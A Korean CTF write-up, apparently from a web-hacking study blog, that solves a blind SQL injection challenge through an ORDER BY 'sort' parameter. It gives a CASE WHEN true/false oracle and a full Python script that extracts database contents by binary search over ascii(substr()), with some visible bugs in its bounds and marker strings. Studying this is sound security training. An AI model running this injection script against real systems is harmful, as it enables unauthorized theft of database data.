본문 바로가기

웹 모의해킹 스터디/과제

[SQL Injection] CTF - SQL Injection Point 3 문제풀이

 

기억하자. SQL Injection에서는 참/거짓에 따라 달라지는 응답을 확인해야함을.


 

sort라는 파라미터가 있는걸 봐서 order by에 쓰일 것으로 예상됨

 

 

 

sort 값을 1로 줬을 때

 

 

 

2로 줬을 때

 

 

확실하다

 

order by에서 참/거짓을 이용해보자

case when (조건) then (참일 때) else (거짓일 때) end 구문을 사용할 것이다

 

참일때 (조건을 1=1로 설정)

 

거짓일 때 (조건을 1=2로 설정)

 

 

거짓일 때는 select 1 union select 2 즉, 구조체가 응답이 된 것이니 정렬이 불가하다 그래서 아무 게시물도 나타나지 않은 것이다

 

아무튼 차이가 아주 확연하다

 

이제 조건 부분에 sql 문을 넣어 db 부터 추출하면 될 것이다

 

자동화를 이용하자

import requests
import urllib.parse

url = "http://ctf.segfaulthub.com:7777/sqli_8/notice_list.php"

cookie = {
          'ajs_user_id' : 'null',
          'ajs_group_id' : 'null',
          'ajs_anonymous_id' : '',
          '_ga' : '',
          '__ssid' : '',
          '_hp2_id.318805607' : '',
          'session' : '',
          'PHPSESSID' : ''}


def blind_sqli() :
    while True :
        query = input("SQL문 입력> ")

        index_value = "123" #참 거짓 식별

        value = binarySearch(query,index_value)
        print(value + "\n")


def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 65 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = (start + end ) // 2

        data = {
            "option_val" : 'title',
            "board_result" : "1",
            "board_search": "%F0%9F%94%8D",
            "data_form" : "",
            "date_to" : "",
            "sort" : "case when " + blind_query.format(query, s, 0) + " then 1 else (select 1 union select 2) end"
        }
        
        response = requests.post(url, cookies = cookie, data=data) 

        if "123" not in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            data = {
            "option_val" : 'title',
            "board_result" : "1",
            "board_search": "%F0%9F%94%8D",
            "data_form" : "",
            "date_to" : "",
            "sort" : "case when " + blind_query.format(query, s, mid) + " then 1 else (select 1 union select 2) end" # 띄어쓰기 조심!!!!!!!!!!!!!!!!!!!
        }

        response = requests.post(url, cookies = cookie, data=data) 
        
        if "111" not in response.text : #거짓이면 끝 값을 mid로 바꾼다
            end = mid 
        else :
            start = mid #참이면 시작 값을 mid로 바꾼다

        if start+1 >= end :
            value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
            s+=1 #그리고 다음 자리 찾는다
            start = 65 #초기화
            end = 126 #초기화

    return value


blind_query = "ascii(substr(({}),{},1))>{} "
blind_sqli() #blind_query 시작

 

 

 

추출 완